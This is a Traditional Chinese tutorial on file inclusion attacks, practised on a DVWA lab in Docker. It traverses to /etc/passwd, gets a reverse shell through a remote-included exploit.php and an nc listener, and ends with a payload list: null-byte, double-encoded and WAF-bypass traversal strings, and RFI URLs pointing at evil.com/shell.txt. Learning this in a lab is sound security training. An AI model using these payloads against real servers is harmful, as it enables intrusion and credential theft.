LFI/RFI手法介紹

1、 前言

程式開發人員一般會把重複使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,而無需再次編寫,這種文件調用的過程一般被稱為「File Inclusion」。

程式開發人員一般希望代碼更靈活,所以將被包含的文件設置為變量,用來進行動態調用,但正是這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。

2、 測試環境

作業系統 版本 安裝記憶體 系統類型 權限
Kali 5.2.0 2GB 64位元 root

3、 DVWA環境架設

1、 環境介紹

DVWA 全名叫 Damn Vulnerable Web App,是一個 PHP + MySQL 架設起來的環境,可以練習、測試自已對網頁弱點的專業知織如何,經由這環境的洗禮加強安全觀念。

本篇使用「Kali Linux」與「Docker」服務架設DVWA做為練習環境。

2、 Docker下載及安裝

  1. 利用Kali apt軟體管理套件,下載「Docker」。

image

  1. 安裝完成後,下一步輸入指令「service docker start」啟動Docker服務。

image

  1. 輸入指令「docker search dvwa」列出包含DVWA的映像檔。

  1. 輸入指令「docker pull citizenstig/dvwa」,將映像「citizenstig/dvwa」

下載到本地,作為我們架設的DVWA映像。

  1. 輸入指令「docker images」查看現在本機有哪些Docker 映像檔。

  1. 輸入指令「docker run –d –p 80:80 citizenstig/dvwa」將映像檔啟動在80 port並在背景執行。

  1. 輸入指令「docker ps」可查看目前已啟動的容器進程。

  1. 完成環境架設,瀏覽器輸入本機IP即可前往DVWA頁面。

1、 手法利用

1、 LFI介紹與應用

LFI代表「本地文件包含Local File Inclusion」,產生的原因是程式設計師未對用戶可控參數進行輸入檢查,此漏洞的影響可能導致洩露伺服器上的敏感文件等。若攻擊者能夠通過其他方式在Web服務器上放置代碼,那麼他們便可以執行任意命令。註:目錄遍歷攻擊也稱為本地文件包含或LFI。

第一個展示範例是DVWA上的本地文件包含漏洞,點擊網頁左側的 「File Inclusion」,前往「Vulnerability: File Inclusion」頁面。

  1. 點擊頁面下方的「View Source」按鈕,查看網頁原始碼,因未驗證參數「page」導致漏洞產生。

image

  1. 更改網址後方「page」參數的內容會顯示在「index.php」頁面上。

  1. 在包含的文件路徑中添加點斜線「../」,則會將工作目錄從目錄樹下移一級,藉此猜出到達etc目錄需要多少級,就可以使用以下URL到達etc目錄並查看passwd文件。

註: DVWA安裝在Linux系統上,使用文件包含漏洞獲取敏感文件「/etc/passwd」。

2、 RFI介紹與應用

RFI代表「遠程文件包含Remote File Inclusion」。如果LFI包含本地系統上儲存的文件,則RFI包含來自遠程位置上的文件。嘗試透過page參數中輸入外部URL在DVWA中包含遠程文件。

  1. 於網址後方參數「page」添加任一網址,確認受害端頁面異常顯示其他網站頁面,即表示該目標存在遠程文件包含漏洞,使攻擊者能讀取遠程文件,進而奪取受害端權限,如以下展示。

image

  1. 首先在攻擊端建構了一個惡意文件「exploit.php」,當受害端執行語句將透過 nc反連至監聽中主機。

  1. 輸入指令「python –m SimpleHTTPSever 8080」,利用python上的「SimpleHTTPServer」模組啟動簡易網頁伺服器,使惡意文件「exploit.php」可透過網頁瀏覽。

  1. 輸入指令「nc –lvnp 1234」開啟Reverse Shell監聽Port,使受害端利用剛剛構造的惡意文件以及網頁伺服器導向至監聽端口。

  1. 修改網址後方「page」參數的內容來包含遠程位置的文件,導向至臨時網頁伺服器的惡意文件「exploit.php」。

  1. 查看攻擊端nc監聽,已連接被害端回傳的Reverse Shell並獲取交互式外 殼。

1、 補充資料

測試Web伺服器是否存在本地文件包含(LFI)漏洞

  1. 使用常見頁面

  1. 使用「../ 」上一級目錄測試

  1. 直接讀取/etc/passwd文件(Linux)

基本LFI(空字節,雙重編碼和其他技巧):

http://example.com/index.php?page=etc/passwd

修改page參數為「/etc/passwd」

http://example.com/index.php?page=etc/passwd%00

於/etc/passwd目錄後加上截斷字元「%00」

截斷字元:具體原理是系統在對檔名的讀取時,如果遇到「%00」,就會認為讀取已結束,忽略後面字元判斷。

http://example.com/index.php?page=../../etc/passwd

透過多個「../」將目前路徑切換至根目錄後再跳轉至指定文件。

http://example.com/index.php?page=%252e%252e%252f

「../」的雙重編碼表示「%252e%252e%252f」

http://example.com/index.php?page=....//....//etc/passwd

一般網站可能阻擋「../」字串,可利用此技巧繞過網站防護WAF。

常用文件讀取

/etc/issue 登陸提示文件
/etc/passwd Linux 使用者的登入資訊
/etc/shadow Linux 使用者的登入密碼
/etc/group Linux使用者的群組
/etc/hosts Linux 主機名和IP位址設定檔
/proc/version Linux 內核版本資訊

基本RFI(空字節,雙重編碼和其他技巧):

http://example.com/index.php?page=http://evil.com/shell.txt
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
http://example.com/index.php?page=http://evil.com/shell.txt%00
  • 通过
  • 未通过

0 投票者